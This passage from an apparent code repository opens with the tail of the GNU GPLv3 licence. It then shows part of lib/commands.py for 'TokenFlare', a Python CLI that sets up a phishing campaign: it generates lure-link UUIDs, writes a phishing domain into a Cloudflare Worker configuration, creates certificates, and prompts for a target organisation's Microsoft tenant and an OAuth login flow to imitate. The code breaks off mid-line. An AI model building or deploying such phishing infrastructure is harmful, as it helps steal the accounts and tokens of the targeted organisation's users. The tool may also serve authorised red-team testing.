the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /lib/commands.py: -------------------------------------------------------------------------------- 1 | """ 2 | TokenFlare Command Implementations 3 | 4 | All command functions (init, configure, deploy, status, version) 5 | """ 6 | 7 | import os 8 | import sys 9 | import shutil 10 | import subprocess 11 | import configparser 12 | from pathlib import Path 13 | from typing import TYPE_CHECKING 14 | 15 | from lib import ( 16 | VERSION, OAUTH_URLS, OAUTH_DISPLAY_NAMES, 17 | DEFAULT_LURE_PATH, DEFAULT_LURE_PARAM 18 | ) 19 | 20 | if TYPE_CHECKING: 21 | from lib.cli import TokenFlare 22 | from .config import ( 23 | load_toml, 24 | update_wrangler_var, 25 | update_wrangler_field, 26 | test_cloudflare_api 27 | ) 28 | from .utils import ( 29 | generate_uuids, 30 | generate_self_signed_cert, 31 | run_command, 32 | require_root, 33 | get_wrangler_command, 34 | defang_url 35 | ) 36 | 37 | 38 | # Banner and version need to be imported or passed 39 | class Commands: 40 | """Container for all command implementations""" 41 | 42 | def __init__(self, app: 'TokenFlare') -> None: 43 | """Initialise with app instance for access to paths and logger""" 44 | self.app = app 45 | self.logger = app.logger 46 | self.project_root = app.project_root 47 | self.certs_dir = app.certs_dir 48 | self.config_file = app.config_file 49 | self.wrangler_toml = app.wrangler_toml 50 | 51 | def cmd_init(self, domain: str) -> int: 52 | """Initialise TokenFlare project structure""" 53 | # Check for root (needed for binding to port 443 in deploy local) 54 | require_root("init") 55 | 56 | self.logger.info(f"Initialising TokenFlare for domain: {domain}") 57 | print() 58 | 59 | # Step 1: Check for openssl (needed for cert generation) 60 | print("[*] Checking dependencies...") 61 | if not shutil.which('openssl'): 62 | print("[!] openssl not found - required for certificate generation") 63 | print(" Install: sudo apt install openssl") 64 | return 1 65 | 66 | print(" ✓ All dependencies available") 67 | 68 | # Step 2: Create directories 69 | print("\n[*] Creating project structure...") 70 | self.certs_dir.mkdir(exist_ok=True) 71 | print(f" ✓ Created {self.certs_dir}") 72 | 73 | # Step 3: Generate UUIDs 74 | print("\n[*] Generating 20 random UUIDs for lure links...") 75 | uuids = generate_uuids(20) 76 | self.logger.debug(f"Generated UUIDs: {uuids[:3]}...") # Show first 3 in debug 77 | print(f" ✓ Generated {len(uuids)} UUIDs") 78 | 79 | # Step 4: Update wrangler.toml with UUIDs and domain 80 | print("\n[*] Updating wrangler.toml with UUIDs and domain...") 81 | if self.wrangler_toml.exists(): 82 | try: 83 | # Use surgical update to preserve comments 84 | uuid_string = ', '.join(uuids) 85 | update_wrangler_var(self.wrangler_toml, 'LURE_UUID', uuid_string) 86 | update_wrangler_var(self.wrangler_toml, 'LOCAL_PHISHING_DOMAIN', domain) 87 | print(f" ✓ Updated {self.wrangler_toml}") 88 | except Exception as e: 89 | self.logger.error(f"Failed to update wrangler.toml: {e}") 90 | return 1 91 | else: 92 | self.logger.warning(f"wrangler.toml not found at {self.wrangler_toml}") 93 | print(" [!] wrangler.toml not found, skipping UUID update") 94 | 95 | # Step 5: Generate self-signed certificate 96 | print(f"\n[*] Generating self-signed certificate for {domain}...") 97 | cert_path = self.certs_dir / "cert.pem" 98 | key_path = self.certs_dir / "key.pem" 99 | 100 | if not generate_self_signed_cert(domain, cert_path, key_path): 101 | print("[!] Failed to generate certificate") 102 | return 1 103 | 104 | print(f" ✓ Certificate: {cert_path}") 105 | print(f" ✓ Private key: {key_path}") 106 | 107 | # Step 6: Create tokenflare.cfg.example 108 | print("\n[*] Creating configuration template...") 109 | example_config = self.project_root / "tokenflare.cfg.example" 110 | 111 | config_content = """# TokenFlare Configuration File 112 | # WARNING: Contains secrets - do NOT commit to git 113 | 114 | [cloudflare] 115 | # Get these from CloudFlare Dashboard > My Profile > API Tokens 116 | api_key = YOUR_CLOUDFLARE_API_KEY_HERE 117 | account_id = YOUR_CLOUDFLARE_ACCOUNT_ID_HERE 118 | 119 | [deployment] 120 | # Worker name (will be ..workers.dev) 121 | worker_name = your-worker-name 122 | """ 123 | 124 | with open(example_config, 'w') as f: 125 | f.write(config_content) 126 | print(f" ✓ Created {example_config}") 127 | 128 | # Step 7: Summary 129 | print("\n" + "="*82) 130 | print("✓ Initialisation complete!") 131 | print("="*82) 132 | print("\nNext steps:") 133 | print(f" 1. Configure CloudFlare credentials:") 134 | print(f" python3 tokenflare.py configure cf") 135 | print(f" 2. Configure campaign settings:") 136 | print(f" python3 tokenflare.py configure campaign") 137 | print(f" 3. (Optional) Get Let's Encrypt cert for local testing:") 138 | print(f" sudo python3 tokenflare.py configure ssl") 139 | print(f" 4. Deploy locally for testing:") 140 | print(f" sudo python3 tokenflare.py deploy local") 141 | print() 142 | 143 | return 0 144 | 145 | # ============================================================ 146 | # Campaign Configuration Helpers 147 | # ============================================================ 148 | 149 | def _prompt_allowed_ips(self, current_value: str = '') -> str: 150 | """Prompt for allowed IP addresses (access control)""" 151 | print("[1/8] Allowed IP Addresses (Access Control)") 152 | print(" Restrict worker access to specific IPs for testing") 153 | print(" Leave empty to allow all IPs (production mode)") 154 | print(" Tip: Use your current IP for local testing before going live") 155 | print() 156 | if current_value: 157 | print(f" Current: {current_value}") 158 | allowed_ips = input(" Enter comma-separated IPs (or empty for all): ").strip() 159 | print() 160 | return allowed_ips 161 | 162 | def _prompt_tenant(self, current_value: str = 'common') -> str: 163 | """Prompt for target tenant domain""" 164 | print("[2/8] Target Tenant Configuration") 165 | print(" Set the tenant domain for the target organization") 166 | print(" Use 'common' for multi-tenant or specific domain") 167 | tenant = input(f" Enter tenant domain [{current_value}]: ").strip() or current_value 168 | print() 169 | return tenant 170 | 171 | def _prompt_oauth_url(self) -> str: 172 | """Prompt for OAuth URL selection""" 173 | print("[3/8] OAuth URL Selection") 174 | print(" Choose the Microsoft OAuth flow to use:") 175 | for i, (key, display) in enumerate(OAUTH_DISPLAY_NAMES.items(), 1): 176 | print(f" {i}. {display}") 177 | print(" 4. Custom (provide your own)") 178 | 179 | # Map user choice to oauth key 180 | choice_map = { 181 | '1': 'officehome', 182 | '2': 'teams', 183 | '3': 'intune' 184 | } 185 | 186 | choice = input(" Select option [1]: ").strip() or '1' 187 | if choice == '4': 188 | oauth_url = input(" Enter custom OAuth URL: ").strip() 189 | else: 190 | oauth_key = 